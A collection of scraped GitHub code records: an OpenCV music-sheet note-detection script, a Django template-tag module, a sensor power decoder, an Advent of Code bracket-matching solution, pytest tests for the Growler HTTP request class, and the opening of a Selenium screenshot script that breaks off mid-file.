= cv.resize(roi, (w, h))\n show_wait_destroy(name, roi)\n return roi\n\nlines = cv.bitwise_not(horizontal)\ncorners1, left, right, top, bottom, x, y, w, h1= corners(corners1,lines,\"corners\")\npoint_inp = np.array([left,right,top,bottom], dtype=np.float32)\n\n\n#%%HOMOGRAPHY\n\nH=inp.shape[0]\nW=inp.shape[1]\ndst = np.array([[0, 0], [W, 0], [W, H], [0, H]], np.float32)\nh, status = cv.findHomography(point_inp, dst) # src, dst\nM = cv.getPerspectiveTransform(point_inp,dst)\n#dst = cv.warpPerspective(inp, h, (W,H)) #wraped image\n\ncv.waitKey(0)\nshow_wait_destroy(\"homograpghy\", dst)\ndst = cv.warpPerspective(inp, M, (W,H)) #wraped image\n#show_wait_destroy(\"pers\", dst)\n\n#%% detect notes\nif len(dst.shape) != 2:\n gray = cv.cvtColor(dst, cv.COLOR_BGR2GRAY)\nelse:\n gray = dst\n\ninp_sheet2=np.copy(dst)\ngray = cv.bitwise_not(gray)\nbw = cv.adaptiveThreshold(gray, 255, cv.ADAPTIVE_THRESH_MEAN_C, cv.THRESH_BINARY, 15, -2)\nhorizontal = np.copy(bw)\nlines = _lines(horizontal,\"h-lines\")\nsm = remove_lines(bw2, inp_sheet2)\n#I didn't like the result of removed lines so lets try cutting the image\n\nsm = remove_lines(bw2, inp_sheet)\n\nvertical = np.copy(bw)\n# Specify size on vertical axis\nrows = vertical.shape[0]\nverticalsize = rows // 30\n# Create structure element for extracting vertical lines through morphology operations\nverticalStructure = cv.getStructuringElement(cv.MORPH_RECT, (1, verticalsize))\n# Apply morphology operations\nvertical = cv.erode(vertical, verticalStructure)\nvertical = cv.dilate(vertical, verticalStructure)\n# Show extracted vertical lines\ncut1 = cut(inp,x, y, w, h1, \"cut\")\nif len(cut1.shape) != 2:\n gray = cv.cvtColor(cut1, cv.COLOR_BGR2GRAY)\nelse:\n gray = cut1\ngray = cv.bitwise_not(gray)\nbw1 = cv.adaptiveThreshold(gray, 255, cv.ADAPTIVE_THRESH_MEAN_C, cv.THRESH_BINARY, 15, -2)\n#horizontal_kernel = cv.getStructuringElement(cv.MORPH_RECT, (25, 1))\n#find lines\nLines = np.copy(bw1)\nL = rows // 30\nL_Structure = cv.getStructuringElement(cv.MORPH_RECT, (1, L))\ndetected_lines = cv.morphologyEx(Lines, cv.MORPH_OPEN, L_Structure, iterations=2)\ncnts = cv.findContours(detected_lines, cv.RETR_EXTERNAL, cv.CHAIN_APPROX_SIMPLE)\ncnts = cnts[0] if len(cnts) == 2 else cnts[1]\nfor c in cnts:\n cv.drawContours(inp_sheet, [c], -1, (255, 255, 255), 2)\n# Repair image\nrepair_kernel = cv.getStructuringElement(cv.MORPH_RECT, (1, verticalsize))\nresult_L = 255 - cv.morphologyEx(255 - cut1, cv.MORPH_CLOSE, repair_kernel, iterations=1)\nshow_wait_destroy(\"all_lines\", result_L)\nthresh = cv.threshold(gray, 30, 255, cv.THRESH_BINARY)[1]\n\n# find contours and get area\n# draw all contours in green\ncontours = cv.findContours(thresh, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)\ncontours = contours[0] if len(contours) == 2 else contours[1]\n#area_thresh = 0\nmin_area = 0.95*180*35\nmax_area = 1.05*180*35\nresult = np.copy(result_L)\nfor c in contours:\n area = cv.contourArea(c)\n contours= cv.drawContours(result, [c], -1, (0, 255, 0), 1)\n if area > min_area and area < max_area:\n contours= cv.drawContours(result, [c], -1, (0, 0, 255), 1)\n\n\n# save result\ncv.imwrite(\"box_found.png\", result)\n\n# show images\ncv.imshow(\"GRAY\", gray)\ncv.imshow(\"THRESH\", thresh)\ncv.imshow(\"RESULT\", result)\ncv.waitKey(0)\n\n\n#%%%%\n\n\n\n\n\n# #%% cut them\ncut = cut(sm,x, y, w, h1, \"cut\")\ncut2 =np.copy(cut)\ncut4 =np.copy(cut)\n\n\nif len(cut.shape) != 2:\n gray = cv.cvtColor(cut, cv.COLOR_BGR2GRAY)\nelse:\n gray = cut\ngray = cv.bitwise_not(gray)\nbw = cv.adaptiveThreshold(gray, 255, cv.ADAPTIVE_THRESH_MEAN_C, cv.THRESH_BINARY, 15, -2)\ncircle_inp = np.copy(bw)\nimg_blur = cv.medianBlur(gray, 5)\n\n\n\n## finding all staffs and notes\nimport random as rng\nrng.seed(12345)\ndef thresh_callback(val):\n threshold = val\n\n canny_output = cv.Canny(src_gray, threshold, threshold * 2)\n\n contours, _ = cv.findContours(canny_output, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)\n\n # Find the rotated rectangles and ellipses for each contour\n minRect = [None] * len(contours)\n minEllipse = [None] * len(contours)\n for i, c in enumerate(contours):\n minRect[i] = cv.minAreaRect(c)\n if c.shape[0] > 5:\n minEllipse[i] = cv.fitEllipse(c)\n # Draw contours + rotated rects + ellipses\n\n drawing = np.zeros((canny_output.shape[0], canny_output.shape[1], 3), dtype=np.uint8)\n\n for i, c in enumerate(contours):\n color = (rng.randint(0, 256), rng.randint(0, 256), rng.randint(0, 256))\n # contour\n cv.drawContours(drawing, contours, i, color)\n box = cv.boxPoints(minRect[i])\n box = np.intp(box) # np.intp: Integer used for indexing (same as C ssize_t; normally either int32 or int64)\n cv.drawContours(drawing, [box], 0, color)\n\n show_wait_destroy(\"counters\", drawing)\n\n\nsrc = cut2\n# Convert image to gray and blur it\nsrc_gray = cv.cvtColor(src, cv.COLOR_BGR2GRAY)\nsrc_gray = cv.blur(src_gray, (3, 3))\nmax_thresh = 255\nthresh = 100 # initial threshold\n\n\npic = thresh_callback(thresh)\ncv.waitKey()\npic = cv.bitwise_not(pic)\nbw = cv.adaptiveThreshold(gray, 255, cv.ADAPTIVE_THRESH_MEAN_C, cv.THRESH_BINARY, 15, -2)\npic_blur = cv.blur(bw, (3, 3))\ncircles = cv.HoughCircles(pic_blur, cv.HOUGH_GRADIENT, 1, cut2.shape[0]/64, param1=200, param2=10, minRadius=10, maxRadius=20)\n# Draw detected circles\nif circles is not None:\n circles = np.uint16(np.around(circles))\n for i in circles[0, :]:\n # Draw outer circle\n cv.circle(cut2, (i[0], i[1]), i[2], (0, 255, 0), 2)\n # Draw inner circle\n cv.circle(cut2, (i[0], i[1]), 2, (0, 0, 255), 3)\n\nshow_wait_destroy(\"circles-notes\", cut2)\n\n\n", "repo_name": "eniseirem/CV_MusicSheet", "sub_path": "cleaned.py", "file_name": "cleaned.py", "file_ext": "py", "file_size_in_byte": 8375, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.imwrite", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.moveWindow", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.destroyWindow", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cv2.bitwise_not", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.adaptiveThreshold", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.ADAPTIVE_THRESH_MEAN_C", "line_number": 29, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.getStructuringElement", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 40, "usage_type": "attribute"}, {"api_name": "cv2.erode", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.dilate", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.getStructuringElement", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 52, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 53, "usage_type": "call"}, {"api_name": "cv2.MORPH_OPEN", "line_number": 53, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 54, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 54, "usage_type": "attribute"}, {"api_name": "cv2.drawContours", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.getStructuringElement", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 59, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.MORPH_CLOSE", "line_number": 60, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 68, "usage_type": "attribute"}, {"api_name": "cv2.boundingRect", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 75, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 79, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.bitwise_not", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 98, "usage_type": "attribute"}, {"api_name": "cv2.findHomography", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.getPerspectiveTransform", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 103, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", "line_number": 105, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 110, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 110, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.bitwise_not", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.adaptiveThreshold", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.ADAPTIVE_THRESH_MEAN_C", "line_number": 116, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 116, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 124, "usage_type": "call"}, {"api_name": "cv2.getStructuringElement", "line_number": 129, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 129, "usage_type": "attribute"}, {"api_name": "cv2.erode", "line_number": 131, "usage_type": "call"}, {"api_name": "cv2.dilate", "line_number": 132, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 136, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 136, "usage_type": "attribute"}, {"api_name": "cv2.bitwise_not", "line_number": 139, "usage_type": "call"}, {"api_name": "cv2.adaptiveThreshold", "line_number": 140, "usage_type": "call"}, {"api_name": "cv2.ADAPTIVE_THRESH_MEAN_C", "line_number": 140, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 140, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 143, "usage_type": "call"}, {"api_name": "cv2.getStructuringElement", "line_number": 145, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 145, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 146, "usage_type": "call"}, {"api_name": "cv2.MORPH_OPEN", "line_number": 146, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 147, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 147, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 147, "usage_type": "attribute"}, {"api_name": "cv2.drawContours", "line_number": 150, "usage_type": "call"}, {"api_name": "cv2.getStructuringElement", "line_number": 152, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 152, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 153, "usage_type": "call"}, {"api_name": "cv2.MORPH_CLOSE", "line_number": 153, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 155, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 155, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 159, "usage_type": "call"}, {"api_name": "cv2.RETR_TREE", "line_number": 159, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 159, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 164, "usage_type": "call"}, {"api_name": "cv2.contourArea", "line_number": 166, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 167, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 169, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 173, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 176, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 177, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 178, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 191, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 195, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 195, "usage_type": "attribute"}, {"api_name": "cv2.bitwise_not", "line_number": 198, "usage_type": "call"}, {"api_name": "cv2.adaptiveThreshold", "line_number": 199, "usage_type": "call"}, {"api_name": "cv2.ADAPTIVE_THRESH_MEAN_C", "line_number": 199, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 199, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 200, "usage_type": "call"}, {"api_name": "cv2.medianBlur", "line_number": 201, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 207, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 211, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 213, "usage_type": "call"}, {"api_name": "cv2.RETR_TREE", "line_number": 213, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 213, "usage_type": "attribute"}, {"api_name": "cv2.minAreaRect", "line_number": 219, "usage_type": "call"}, {"api_name": "cv2.fitEllipse", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 224, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 227, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 229, "usage_type": "call"}, {"api_name": "cv2.boxPoints", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.intp", "line_number": 231, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 232, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 239, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 239, "usage_type": "attribute"}, {"api_name": "cv2.blur", "line_number": 240, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 246, "usage_type": "call"}, {"api_name": "cv2.bitwise_not", "line_number": 247, "usage_type": "call"}, {"api_name": "cv2.adaptiveThreshold", "line_number": 248, "usage_type": "call"}, {"api_name": "cv2.ADAPTIVE_THRESH_MEAN_C", "line_number": 248, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 248, "usage_type": "attribute"}, {"api_name": "cv2.blur", "line_number": 249, "usage_type": "call"}, {"api_name": "cv2.HoughCircles", "line_number": 250, "usage_type": "call"}, {"api_name": "cv2.HOUGH_GRADIENT", "line_number": 250, "usage_type": "attribute"}, {"api_name": "numpy.uint16", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 253, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 256, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 258, "usage_type": "call"}]} {"seq_id": "43974096542", "text": "from django.template import Library\n\nfrom itdagene.app.company.forms import (\n BookCompanyForm,\n CompanyStatusForm,\n WaitingListCompanyForm,\n)\n\nregister = Library()\n\n\n@register.inclusion_tag(\"company/templatetags/book_form.html\")\ndef book_form(company):\n form = BookCompanyForm(instance=company)\n return {\"form\": form}\n\n\n@register.inclusion_tag(\"company/templatetags/waiting_list_form.html\")\ndef waiting_list_form(company):\n form = WaitingListCompanyForm(instance=company)\n return {\"form\": form}\n\n\n@register.inclusion_tag(\"company/templatetags/status_form.html\")\ndef status_form(company):\n form = CompanyStatusForm(instance=company)\n return {\"form\": form}\n", "repo_name": "itdagene-ntnu/itdagene", "sub_path": "itdagene/app/company/templatetags/companies.py", "file_name": "companies.py", "file_ext": "py", "file_size_in_byte": 683, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.template.Library", "line_number": 9, "usage_type": "call"}, {"api_name": "itdagene.app.company.forms.BookCompanyForm", "line_number": 14, "usage_type": "call"}, {"api_name": "itdagene.app.company.forms.WaitingListCompanyForm", "line_number": 20, "usage_type": "call"}, {"api_name": "itdagene.app.company.forms.CompanyStatusForm", "line_number": 26, "usage_type": "call"}]} {"seq_id": "8590452418", "text": "#!/usr/bin/python2\r\n# -*- coding: utf-8 -*-\r\n\r\nimport time\r\nimport datetime\r\nimport inspect\r\nimport simplejson as json\r\n\r\ndef powernode(data):\r\n \"\"\"Punkt mierzący pobór mocy biernej\"\"\"\r\n\r\n a = int(data[2])\r\n b = int(data[3])\r\n c = int(data[4])\r\n d = int(data[5])\r\n e = int(data[6])\r\n f = int(data[7])\r\n g = int(data[8])\r\n h = int(data[9])\r\n i = int(data[10])\r\n j = int(data[11])\r\n\r\n name = inspect.stack()[0][3] # z nazwy funcji\r\n timestamp = int(time.mktime(datetime.datetime.now().timetuple())) #unix time\r\n\r\n power1 = ((256 * b) + a)\r\n power2 = ((256 * d) + c)\r\n power3 = ((256 * f) + e)\r\n power = power1 + power2 + power3\r\n\r\n template = ({\r\n 'name':name,\r\n 'power': power,\r\n 'vrms': ((256 * j) + i),\r\n 'timestamp':timestamp\r\n })\r\n return dict((k,v) for (k,v) in template.iteritems())\r\n", "repo_name": "artekw/sensmon", "sub_path": "sensnode/decoders/powernode.py", "file_name": "powernode.py", "file_ext": "py", "file_size_in_byte": 883, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "inspect.stack", "line_number": 23, "usage_type": "call"}, {"api_name": "time.mktime", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "attribute"}]} {"seq_id": "41081924079", "text": "import time\nimport statistics\n\n\ndef corresponding_character(c):\n characters = [(\"(\", \")\"), (\"[\", \"]\"), (\"{\", \"}\"), (\"<\", \">\")]\n for pair in characters:\n if c == pair[0]:\n return pair[1]\n elif c == pair[1]:\n return pair[0]\n\n\ndef get_illegal_points(c):\n if c == \")\":\n return 3\n elif c == \"]\":\n return 57\n elif c == \"}\":\n return 1197\n else:\n return 25137\n\n\ndef get_autocomplete_points(c):\n if c == \")\":\n return 1\n elif c == \"]\":\n return 2\n elif c == \"}\":\n return 3\n else:\n return 4\n\n\ndef count_autocomplete_score(stack):\n score = 0\n for c in stack:\n score = score * 5 + get_autocomplete_points(c)\n return score\n\n\ndef part_one(chunk):\n stack = []\n for c in chunk:\n if c in [\"(\", \"[\", \"{\", \"<\"]:\n stack.append(c)\n else:\n last_opened = stack.pop()\n if not last_opened == corresponding_character(c):\n return get_illegal_points(c)\n return 0\n\n\ndef part_two(chunk):\n stack = []\n for c in chunk:\n if c in [\"(\", \"[\", \"{\", \"<\"]:\n stack.append(c)\n else:\n last_opened = stack.pop()\n if not last_opened == corresponding_character(c):\n return 0\n stack = [corresponding_character(c) for c in stack[::-1]]\n return count_autocomplete_score(stack)\n\n\nstart_time = time.time()\nchunks = []\nwith open(\"data/day10.txt\", \"r\") as file:\n input = file.readlines()\n for chunk in input:\n chunks.append(list(chunk.strip()))\n\n\nerror_score = 0\nfor chunk in chunks:\n error_score += part_one(chunk)\n\nautocomplete_scores = []\nfor chunk in chunks:\n autocomplete_scores.append(part_two(chunk))\n\nautocomplete_scores = statistics.median(sorted([i for i in autocomplete_scores if i != 0]))\nprint(f\"Part 1: result = {error_score}\")\nprint(f\"Part 1: result = {autocomplete_scores}\")\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n", "repo_name": "krizotto/AoC2021", "sub_path": "day10.py", "file_name": "day10.py", "file_ext": "py", "file_size_in_byte": 1996, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.time", "line_number": 68, "usage_type": "call"}, {"api_name": "statistics.median", "line_number": 84, "usage_type": "call"}, {"api_name": "time.time", "line_number": 87, "usage_type": "call"}]} {"seq_id": "16145594492", "text": "#\n# tests/test_http_request.py\n#\n\nimport pytest\nimport asyncio\nimport growler\nfrom inspect import iscoroutine\nfrom growler.http.request import HTTPRequest\nfrom growler.aio.http_protocol import GrowlerHTTPProtocol\nfrom collections import namedtuple\nfrom unittest import mock\nfrom urllib.parse import (\n unquote,\n urlparse,\n parse_qs\n)\n\nfrom mock_classes import (\n request_uri,\n)\n\n\n@pytest.fixture\ndef mock_protocol(event_loop):\n proto = mock.MagicMock(spec=GrowlerHTTPProtocol)\n proto.loop = event_loop\n return proto\n\n\n@pytest.fixture\ndef mock_responder(mock_protocol, event_loop):\n rspndr = mock.MagicMock(spec=growler.http.responder.GrowlerHTTPResponder)\n rspndr._handler = mock_protocol\n rspndr.request = {'url': mock.MagicMock()}\n rspndr.loop = event_loop\n rspndr.body_storage_pair.return_value = (mock.Mock(), mock.Mock())\n return rspndr\n\n\n@pytest.fixture\ndef default_headers():\n return {'HOST': 'example.com'}\n\n@pytest.fixture\ndef empty_req(mock_responder):\n return growler.http.request.HTTPRequest(mock_responder, {})\n\n\n@pytest.fixture\ndef get_req(mock_responder, default_headers, request_uri, headers):\n headers.update(default_headers)\n mock_responder.request = {\n 'method': \"GET\",\n 'url': mock.Mock(path=request_uri),\n 'version': \"HTTP/1.1\"\n }\n return growler.http.request.HTTPRequest(mock_responder, headers)\n\n\n@pytest.fixture\ndef post_req(mock_responder, default_headers, request_uri, headers):\n headers.update(default_headers)\n mock_responder.request = {\n 'method': \"POST\",\n 'url': request_uri,\n 'version': \"HTTP/1.1\"\n }\n return growler.http.request.HTTPRequest(mock_responder, headers)\n\n\n@pytest.mark.parametrize('headers', [\n {},\n {'x': 'x'},\n])\ndef notest_missing_host_request(mock_responder, headers):\n req = HTTPRequest(mock_responder, headers)\n assert req.message\n\n\n@pytest.mark.parametrize('request_uri, headers, param', [\n ('/', {'x': 'Y'}, ''),\n ('/', {'x': 'x'}, ''),\n])\ndef test_request_headers(get_req, request_uri, headers, param):\n assert get_req.headers['x'] == headers['x']\n\n\n@pytest.mark.parametrize('request_uri, headers, query', [\n ('/', {}, {}),\n ('/?x=0;p', {}, {'x': ['0']}),\n])\ndef test_query_params(get_req, mock_responder, request_uri, query):\n mock_responder.parsed_query = parse_qs(urlparse(request_uri).query)\n for k, v in query.items():\n assert get_req.param(k) == v\n\n\n@pytest.mark.asyncio\nasync def test_construct_with_expected_body(mock_responder):\n BODY = b\"\"\"\n here is the text of the body\n \"\"\"\n\n async def _body_read():\n return BODY\n\n async def _body_write():\n return\n\n mock_responder.body_storage_pair = lambda: (_body_read(), _body_write)\n req = HTTPRequest(mock_responder, {'CONTENT-LENGTH': len(BODY)})\n\n assert req._body.cr_code is _body_read.__code__\n\n body = await req.body()\n assert body == BODY\n\n # getting body\n body = await req.body()\n assert body is BODY\n\n\ndef test_type_is(empty_req, mock_responder):\n a_type = 'http!'\n empty_req.headers['content-type'] = a_type\n assert empty_req.type_is(a_type)\n\n\ndef test_ip_property(empty_req, mock_responder):\n assert empty_req.ip is mock_responder.ip\n\n\ndef test_app_property(empty_req, mock_responder):\n assert empty_req.app is mock_responder.app\n\n\ndef test_path_property(empty_req, mock_responder):\n assert empty_req.path is mock_responder.request['url'].path\n\n\ndef test_original_path_property(empty_req, mock_responder):\n assert empty_req.originalURL is mock_responder.request['url'].path\n\n\ndef test_loop_property(empty_req, event_loop):\n assert empty_req.loop == event_loop\n\n\n@pytest.mark.parametrize('headers', [\n {'HOST': 'fooo'},\n])\ndef test_hostname_property(get_req, headers):\n assert get_req.hostname == headers['HOST']\n\n\ndef test_method_property(empty_req, mock_responder):\n assert empty_req.method is mock_responder.method\n\n\n@pytest.mark.parametrize('headers', [{}])\n@pytest.mark.parametrize(\"cipher, expected\", [\n (True, 'https'),\n (None, 'http'),\n])\ndef test_protocol_property(get_req, mock_responder, cipher, expected):\n mock_responder.cipher = cipher\n assert get_req.protocol == expected\n", "repo_name": "pyGrowler/Growler", "sub_path": "tests/test_http_request.py", "file_name": "test_http_request.py", "file_ext": "py", "file_size_in_byte": 4249, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 688, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.mock.MagicMock", "line_number": 26, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 26, "usage_type": "name"}, {"api_name": "growler.aio.http_protocol.GrowlerHTTPProtocol", "line_number": 26, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 24, "usage_type": "attribute"}, {"api_name": "unittest.mock.MagicMock", "line_number": 33, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 33, "usage_type": "name"}, {"api_name": "growler.http", "line_number": 33, "usage_type": "attribute"}, {"api_name": "unittest.mock.MagicMock", "line_number": 35, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 35, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 37, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 37, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 41, "usage_type": "attribute"}, {"api_name": "growler.http.request.HTTPRequest", "line_number": 47, "usage_type": "call"}, {"api_name": "growler.http", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 45, "usage_type": "attribute"}, {"api_name": "unittest.mock.Mock", "line_number": 55, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 55, "usage_type": "name"}, {"api_name": "mock_classes.request_uri", "line_number": 55, "usage_type": "name"}, {"api_name": "growler.http.request.HTTPRequest", "line_number": 58, "usage_type": "call"}, {"api_name": "growler.http", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 50, "usage_type": "attribute"}, {"api_name": "mock_classes.request_uri", "line_number": 66, "usage_type": "name"}, {"api_name": "growler.http.request.HTTPRequest", "line_number": 69, "usage_type": "call"}, {"api_name": "growler.http", "line_number": 69, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 61, "usage_type": "attribute"}, {"api_name": "growler.http.request.HTTPRequest", "line_number": 77, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 72, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 81, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 81, "usage_type": "attribute"}, {"api_name": "urllib.parse.parse_qs", "line_number": 94, "usage_type": "call"}, {"api_name": "urllib.parse.urlparse", "line_number": 94, "usage_type": "call"}, {"api_name": "mock_classes.request_uri", "line_number": 94, "usage_type": "argument"}, {"api_name": "pytest.mark.parametrize", "line_number": 89, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 89, "usage_type": "attribute"}, {"api_name": "growler.http.request.HTTPRequest", "line_number": 112, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 99, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 150, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 150, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 161, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 161, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 162, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 162, "usage_type": "attribute"}]} {"seq_id": "10723560553", "text": "from PIL import Image, ImageDraw\nfrom selenium import webdriver\nimport os\nimport sys\nimport time \n\nclass ScreenAnalysis:\n\n CHROME_URL = 'https://www.hvg.hu/'\n FIREFOX_URL = 'https://www.hvg.hu/'\n ChromeDriver = None\n FirefoxDriver = None\n\n def __init__(self):\n startall = time.time()\n os.makedirs('./screenshots', exist_ok=True)\n self.set_up()\n startcap = time.time()\n 